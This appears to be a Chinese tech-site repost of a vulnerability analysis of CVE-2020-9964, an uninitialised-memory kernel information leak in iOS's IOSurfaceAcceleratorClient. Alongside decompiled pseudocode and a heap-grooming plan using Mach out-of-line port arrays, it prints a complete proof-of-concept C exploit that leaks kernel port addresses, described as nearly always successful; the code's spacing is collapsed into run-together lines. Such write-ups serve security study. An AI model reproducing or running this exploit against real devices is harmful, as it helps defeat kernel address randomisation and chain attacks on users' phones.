如何进行iOS中的信息泄露漏洞CVE-2020-9964分析

如何进行iOS中的信息泄露漏洞CVE-2020-9964分析

今天就跟大家聊聊有关如何进行iOS中的信息泄露漏洞CVE-2020-9964分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

写在前面的话

2020年09月17日凌晨,苹果终于给所有用户推送了iOS14正式版,并同时发布了iOS 14.0的安全内容更新。阅读该公告后,你将会看到列表中的一个漏洞CVE-2020-9964,这是一个存在于IOSurfaceAccelerator中的安全漏洞。苹果将这个漏洞描述为:“本地用户将能够利用该漏洞读取内核内存数据,这是一个内存初始化问题。”下面将跟大家介绍有关该漏洞的详细信息。

如何进行iOS中的信息泄露漏洞CVE-2020-9964分析

IOSurfaceAcceleratorClient::user_get_histogram

IOSurfaceAcceleratorClient不仅是AppleM2ScalerCSCDriver IOService的用户客户端接口,也是为数不多的能够在App沙盒中打开的用户客户端。在这里,我们感兴趣的其实是这个用户客户端中的一个特定外部方法,也就是方法9-IOSurfaceAcceleratorClient::user_get_histogram。IOSurfaceAcceleratorClient在这个外部方法中使用了遗留的IOUserClient::getTargetAndMethodForIndex,方法9的IOExternalMethod描述符如下所示:

{IOSurfaceAcceleratorClient::user_get_histogram,kIOUCStructIStructO,0x8,0x0}

在这里,我们可以看到user_get_histogram只会接收输入数据的八个字节,并且不会返回任何的输出数据,接下来我们一起来看一看这个方法的实现代码,下面给出的是带注释的伪代码:

IOReturnIOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient*this,void*input,uint64_tinputSize){IOReturnresult;if(this->calledFromKernel){...}else{IOMemoryDescriptor*memDesc=IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t*)input,this->histogramSize,kIODirectionOutIn,this->task);if(memDesc){ret=memDesc->prepare(kIODirectionNone);if(ret){...}else{ret=AppleM2ScalerCSCDriver::get_histogram(this->fOwner,this,memDesc);memDesc->complete(kIODirectionNone);}memDesc->release();}else{ret=kIOReturnNoMemory;}}returnret;}

我们可以看到其中包含的八个字节的结构化输入数据,它将会被设置为一个用户空间指针,AppleM2ScalerCSCDriver::get_histogram将能够利用该指针实现数据的写入或读取。实际上,get_histogram调用get_histogram_gated的过程如下所示:

IOReturnAppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver*this,IOSurfaceAcceleratorClient*client,IOMemoryDescriptor*memDesc){IOReturnresult;if(memDesc->writeBytes(0,client->histogramBuffer,client->histogramSize)==client->histogramSize)result=kIOReturnSuccess;elseresult=kIOReturnIOError;returnresult;}

我们可以看到,client->histogramBuffer被写回至了用户空间,那么现在问题来了,client->histogramBuffer是什么鬼?它是在哪里被初始化的?其中的数据又是从哪里来的?

IOSurfaceAcceleratorClient::histogramBuffer

上述问题的答案我们得在IOSurfaceAcceleratorClient::initClient的身上去寻找,相关代码如下:

boolIOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient*this,AppleM2ScalerCSCDriver*owner,inttype,AppleM2ScalerCSCHal*hal){...if(...){...if(...){size_tbufferSize=...;this->histogramSize=bufferSize;this->histogramBuffer=(void*)IOMalloc(bufferSize);IOAsynchronousScheduler*scheduler=IOAsynchronousScheduler::ioAsynchronousScheduler(0);this->scheduler=scheduler;if(scheduler)returntrue;...}else{...}}else{...}this->stopClient();returnfalse;}

这里有一个很可疑的地方,代码为histogramBuffer分配了空间,但并未填充数据,而IOMalloc也没有给内存填充0,因此这里的histogramBuffer相当于完全没有初始化的。于是我尝试自己去调用这个方法,结果我查看到了大量的0xdeadbeef,说明这是一段未初始化的内存。

漏洞利用

这就非常棒了,因为我们可以将未初始化的内存泄露至用户空间,但我们应该怎么做呢?实际上,像这样的信息泄露问题本身相对还算是不严重的,但对于利用其他的内存崩溃漏洞时它就至关重要了。通常在利用这类漏洞时,首先需要找到匹配的端口地址,这也是我首要的目标。值得一提的是,这个漏洞也可以用来攻击kASLR。

在利用该漏洞时,我选择的目标分配地址时Mach消息out-of-line端口数组。在发送Mach消息是,我们可以将消息标记为“complex”。这将告诉内核下列Header并非元数据,而是描述符后接消息主体“body”。其中一个描述符为mach_msg_ool_ports_descriptor_t,它就是其中一个需要插入到接收任务中的out-of-line端口数组。

内存在接收上述信息时,内核可以通过创建一个包含指针(指向数组中每一个端口)的缓冲区来处理这些OOL端口(如果你感兴趣的话,可以查看ipc_kmsg_copyin_ool_ports_descriptor中的代码,我们在此不对其进行赘述)。这样一来,我们就可以使用它来触发任何大小的内核分配,其中将包含我们所要读取或提取的数据,并在任何时候进行随意释放。

高级漏洞利用流

  • 使用OOL端口数组发送跟client->histogramSize大小相同的消息内容;

  • 通过接收消息来释放这些数组;

  • 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,该部分现在将会被其中部分被释放的端口数组所覆盖;

  • 调用外部方法9,读取指向用户空间的端口指针;

  • 搞定!

漏洞利用代码

针对该漏洞的漏洞利用代码如下:

#include<stdlib.h>#include<assert.h>#include<stdio.h>#include<mach/mach.h>#include<IOKit/IOKitLib.h>#if0AppleM2ScalerCSCDriverInfoleak:IOSurfaceAcceleratorClient::user_get_histogramtakesauserspacepointerandwriteshistogramdatabacktothataddress.IOSurfaceAcceleratorClient::initClientallocatesthishistogrambuffer,butdoesnotzerothememory.WhentheexternalmethodIOSurfaceAcceleratorClient::user_get_histogramiscalled,thisuninitialisedmemoryisthensentbacktouserspace.ThisvulnerabilityisreachablefromwithintheappsandboxoniOS.Belowisaproof-of-conceptexploitwhichutilisesthisvulnerabilitytoleaktheaddressofanymachportthatthecallingprocessholdsasend-rightto.Otherkernelobjectaddressescanbeobtainedusingthisvulnerabilityinsimilarways.#endif#defineASSERT_KR(kr)do{\if(kr!=KERN_SUCCESS){\fprintf(stderr,"kr:%s(0x%x)\n",mach_error_string(kr),kr);\exit(EXIT_FAILURE);\}\}while(0)#defineLEAK_SIZE0x300#defineSPRAY_COUNT0x80mach_port_tcreate_port(void){mach_port_tp=MACH_PORT_NULL;mach_port_allocate(mach_task_self(),MACH_PORT_RIGHT_RECEIVE,&p);mach_port_insert_right(mach_task_self(),p,p,MACH_MSG_TYPE_MAKE_SEND);returnp;}io_connect_topen_client(constchar*serviceName,uint32_ttype){io_connect_tclient=MACH_PORT_NULL;io_service_tservice=IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching(serviceName));assert(service!=MACH_PORT_NULL);IOServiceOpen(service,mach_task_self(),0,&client);assert(client!=MACH_PORT_NULL);IOObjectRelease(service);returnclient;}voidpush_to_freelist(mach_port_tport){uint32_tportCount=LEAK_SIZE/sizeof(void*);struct{mach_msg_header_theader;mach_msg_body_tbody;mach_msg_ool_ports_descriptor_tool_ports;}msg={{0}};mach_port_t*ports=(mach_port_t*)malloc(portCount*sizeof(mach_port_t));for(uint32_ti=0;i<portCount;i++)ports[i]=port;size_tmsgSize=sizeof(msg);msg.header.msgh_bits=MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND,0,0,MACH_MSGH_BITS_COMPLEX);msg.header.msgh_size=msgSize;msg.header.msgh_id='OOLP';msg.body.msgh_descriptor_count=1;msg.ool_ports.type=MACH_MSG_OOL_PORTS_DESCRIPTOR;msg.ool_ports.address=(void*)ports;msg.ool_ports.count=portCount;msg.ool_ports.deallocate=false;msg.ool_ports.copy=MACH_MSG_PHYSICAL_COPY;msg.ool_ports.disposition=MACH_MSG_TYPE_MAKE_SEND;mach_port_trcvPorts[SPRAY_COUNT];for(uint32_ti=0;i<SPRAY_COUNT;i++){mach_port_trcvPort=create_port();rcvPorts[i]=rcvPort;msg.header.msgh_remote_port=rcvPort;//triggerkernelallocationofportarray:kern_return_tkr=mach_msg(&msg.header,MACH_SEND_MSG|MACH_MSG_OPTION_NONE,(mach_msg_size_t)msgSize,0,MACH_PORT_NULL,MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL);ASSERT_KR(kr);}for(uint32_ti=1;i<SPRAY_COUNT;i++)mach_port_destroy(mach_task_self(),rcvPorts[i]);free((void*)ports);}//Theactualvulnerability:voidleak_bytes(void*buffer){io_connect_tclient=open_client("AppleM2ScalerCSCDriver",0);kern_return_tkr=IOConnectCallStructMethod(client,9,(uint64_t*)&buffer,8,NULL,NULL);ASSERT_KR(kr);IOServiceClose(client);}uint64_tfind_port_addr(mach_port_tport){uint64_t*leak=(uint64_t*)malloc(LEAK_SIZE);printf("Preparingheap\n");push_to_freelist(port);printf("Leaking0x%zxbytes\n",(size_t)LEAK_SIZE);leak_bytes(leak);uint64_taddr=leak[1];free(leak);returnaddr;}intmain(intargc,char*argv[],char*envp[]){mach_port_tport=create_port();uint64_tport_addr=find_port_addr(port);printf("Leakedportaddress:%p\n",(void*)port_addr);return0;}

我的这份漏洞利用代码成功率已经接近100%了,如果漏洞利用不成功的话,请重新运行代码进行尝试。

看完上述内容,你们对如何进行iOS中的信息泄露漏洞CVE-2020-9964分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注恰卡编程网行业资讯频道,感谢大家的支持。

发布于 2021-12-28 21:05:48
收藏
分享
海报
0 条评论
72
上一篇:如何进行Acronis Cyber Backup中的SSRF漏洞CVE-2020-16171分析 下一篇:Nexus Repository Manager 2.x命令注入漏洞CVE-2019-5475示例分析
目录

    推荐阅读

    0 条评论

    本站已关闭游客评论,请登录或者注册后再评论吧~

    忘记密码?

    图形验证码